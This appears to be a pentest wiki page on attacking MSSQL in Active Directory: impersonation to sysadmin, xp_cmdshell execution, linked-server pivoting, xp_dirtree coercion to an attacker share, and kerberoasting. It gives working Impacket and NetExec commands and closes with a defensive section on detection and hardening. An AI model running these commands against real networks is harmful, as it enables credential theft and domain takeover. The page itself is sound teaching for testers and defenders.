Attacking MSSQL in Active Directory
Microsoft SQL Server is integrated into Active Directory: it authenticates with domain accounts, runs
under service accounts (often with juicy privileges), and its servers link to each other via
linked servers that trust one another. For an attacker, an MSSQL is three things at once: a path
to command execution on the host (via xp_cmdshell), a source of credentials/impersonation
(service accounts, EXECUTE AS), and a lateral-movement bridge through the links. Many paths to
DA go through a misconfigured SQL Server. The broken invariant is accumulated trust: domain logins
with SQL access, service accounts with SeImpersonatePrivilege on the host, and links configured with
high-privilege credentials.
flowchart LR
L["low-priv<br/>domain login"] -->|"EXECUTE AS / enum_impersonate"| S["sysadmin on SQL1"]
S -->|"xp_cmdshell"| C["cmd as the service account"]
C -->|"SeImpersonate + Potato"| SYS["SYSTEM on the host"]
S -->|"linked server"| S2["SQL2 (another host)"]
Threat model
Section titled “Threat model”- Who attacks: a low-privilege SQL login (a domain account with access, or a weak
sa), or someone on the network who can reach port 1433. - What it breaks: poorly scoped trust. An ordinary account can, by chaining impersonation and
links, end up as
sysadminor SYSTEM on another server. - What it gains: execution on the SQL host (→ SYSTEM via SeImpersonate), theft of the service account’s credentials, lateral movement via links to other SQL servers, and hash coercion toward relay.
- Why it’s a springboard: SQL is usually the most accessible service on the network, and its
service account almost always has
SeImpersonatePrivilege, which reliably leads to SYSTEM.
Anatomy
Section titled “Anatomy”The three surfaces
Section titled “The three surfaces”- Execution:
xp_cmdshellruns system commands as the SQL service account. Alternatives if it’s disabled:sp_OACreate(OLE automation), CLR assemblies, Agent jobs. - Impersonation:
EXECUTE AS LOGIN/EXECUTE AS USERassumes another identity inside SQL. A poorly grantedIMPERSONATEescalates a normal login tosa. - Linked servers: a link configured with privileged credentials lets you run queries (and commands) on the remote SQL, chainable: SQL1 → SQL2 → SQL3.
Why SeImpersonate is the key
Section titled “Why SeImpersonate is the key”The SQL service account usually has SeImpersonatePrivilege. With xp_cmdshell you execute as that
account; with the privilege, a Potato attack takes it to SYSTEM (see privilege and token
abuse). It’s the most common host → SYSTEM jump from a SQL.
Kerberoasting the service account
Section titled “Kerberoasting the service account”SQL registers an MSSQLSvc/... SPN, so its service account is kerberoastable: if the password is
weak, it cracks offline without touching the SQL (Kerberos).
Variants
Section titled “Variants”| Vector | Requirement | Result |
|---|---|---|
xp_cmdshell |
sysadmin (direct or via impersonation) | Command as the service account → SYSTEM |
EXECUTE AS |
IMPERSONATE permission |
Escalate to sa/sysadmin |
| Linked server | link with privileged credentials | Execution on the remote SQL (lateral) |
xp_dirtree/xp_subdirs |
any login | Coercion: service account’s Net-NTLM |
| Kerberoasting | MSSQLSvc SPN |
Service account’s hash (offline crack) |
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”# locate SQL SPNs in the domainGetUserSPNs.py corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10 | grep MSSQL# test access with domain credentialsnxc mssql sql01.corp.local -u jdoe -p 'Passw0rd!'Connect and enumerate (mssqlclient)
Section titled “Connect and enumerate (mssqlclient)”mssqlclient.py corp.local/jdoe:'Passw0rd!'@sql01.corp.local -windows-auth# inside the shell:SELECT SYSTEM_USER; -- who am Ienum_logins -- logins and their rolesenum_impersonate -- who I can EXECUTE ASenum_links -- configured linked serversmssqlclient.py’s built-in commands are exactly these: enum_logins, enum_impersonate,
enum_links, enum_users, enum_db, enum_owner, exec_as_login, exec_as_user, use_link,
enable_xp_cmdshell, xp_cmdshell, xp_dirtree, sp_start_job, upload, download.
Escalation via impersonation
Section titled “Escalation via impersonation”exec_as_login sa -- if you have IMPERSONATE over sa-- chain: user -> exec_as_login dbo -> exec_as_login sa -> sysadminSELECT IS_SRVROLEMEMBER('sysadmin'); -- confirmCommand execution (xp_cmdshell)
Section titled “Command execution (xp_cmdshell)”As sysadmin (direct or via impersonation), enable and use xp_cmdshell:
enable_xp_cmdshellxp_cmdshell whoami -- runs as the SQL service accountFrom there to SYSTEM with Potato if the account has SeImpersonatePrivilege (see
tokens). Without xp_cmdshell: sp_OACreate, CLR assemblies or the
Agent’s sp_start_job.
Lateral movement via linked servers
Section titled “Lateral movement via linked servers”enum_linksuse_link SQL02-SRV -- switches context to the link-- or directly:EXEC ('SELECT SYSTEM_USER; EXEC xp_cmdshell ''whoami''') AT [SQL02-SRV];Links chain (SQL1 → SQL2 → SQL3), escalating privilege at each hop if the remote link runs under a more privileged account. Tools like MSSqlPwner automate recursive enumeration of links and impersonations and find the shortest execution chain.
Hash coercion (xp_dirtree / xp_subdirs)
Section titled “Hash coercion (xp_dirtree / xp_subdirs)”xp_dirtree \\10.10.10.50\share -- forces the service account to authenticateCapture or relay the SQL service account’s Net-NTLM (see LLMNR and NTLM relay).
Investigator workflow
Section titled “Investigator workflow”- Locate SQL by SPN; test access with domain credentials.
enum_impersonate/enum_links: can I become sysadmin? Are there links?- If sysadmin:
xp_cmdshell→ service account → SYSTEM (Potato). - If there are links: chain them toward a more privileged SQL.
- If not:
xp_dirtreefor coercion, or kerberoast the service account.
- mssqlclient.py (Impacket): client with built-in enum/impersonate/links.
- NetExec (nxc) mssql: access, spray, execution and bulk queries.
- MSSqlPwner: automated recursive enumeration and link/impersonation chains.
- mssql-spider / MSSQLand / SQLRecon: alternatives (link crawling, use from a beacon).
- PowerUpSQL: discovery, auditing and exploitation from Windows.
Impact and chaining
Section titled “Impact and chaining”A compromised SQL is often the direct springboard to the rest of the domain: execution → SYSTEM on the host, service account credentials, lateral via links, and coercion toward relay. Many “SQLi → SYSTEM → domain” internal-pentest chains go through here.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”sqlservr.exelaunchingcmd.exe/powershell.exe(Sysmon 1): enabling and usingxp_cmdshell.xp_dirtree/xp_subdirstoward external UNC paths (coercion) and outbound authentications from the SQL service account.- Anomalous
EXECUTE AS, unexpectedAT [link]queries, unusual domain logins on SQL. - Enabling
sp_configure 'xp_cmdshell'and OLE automation.
Telemetry and sources
Section titled “Telemetry and sources”- SQL Server auditing (login auditing,
xp_cmdshellandsp_configureevents). - Sysmon on the SQL host (child processes of
sqlservr.exe). - Detection of outbound NTLM authentications from the service account.
Hardening
Section titled “Hardening”- Disable
xp_cmdshell,sp_OACreate/OLE automation; restrict CLR. - Least privilege on the service account: remove
SeImpersonatePrivilegeif not needed; use gMSA (managed password, not practically kerberoastable). - Review linked servers: don’t configure them with privileged credentials; use the user’s context,
not
sa. - Audit
IMPERSONATEandCONTROL SERVERpermissions; don’t put domain accounts insysadminneedlessly. - Strong/random password for the service account (stops kerberoasting) and SMB signing (stops coercion → relay).
Response
Section titled “Response”Disable xp_cmdshell, rotate the SQL service account’s password, review links and impersonation
permissions, and hunt for persistence left from SQL (Agent jobs, CLR assemblies, triggers).
CVEs and real cases
Section titled “CVEs and real cases”- Most are configuration abuses, not CVEs (MITRE T1210, T1078, T1505.001).
- PowerUpSQL (Scott Sutherland / NetSPI) extensively documented impersonation and linked-server chains; Improsec (“The dangers of MSSQL features”) showed the SQLi → domain path.
- SQL → SYSTEM → domain chains routinely appear in internal-pentest reports and in intrusions where SQL was the most accessible service.
Test checklist
Section titled “Test checklist”- Locate SQL by SPN (
MSSQLSvc) and test access with domain credentials. - Am I sysadmin? Can I become it via impersonation? (
enum_impersonate). -
xp_cmdshellenablable → execution as the service account. - Does the service account have
SeImpersonatePrivilege? → SYSTEM (Potato). - Chainable linked servers (
enum_links) → lateral. -
xp_dirtreefor coercion → capture/relay of Net-NTLM. - Kerberoasting of the SQL service account.
- Blue:
xp_cmdshelldisabled and gMSA in use?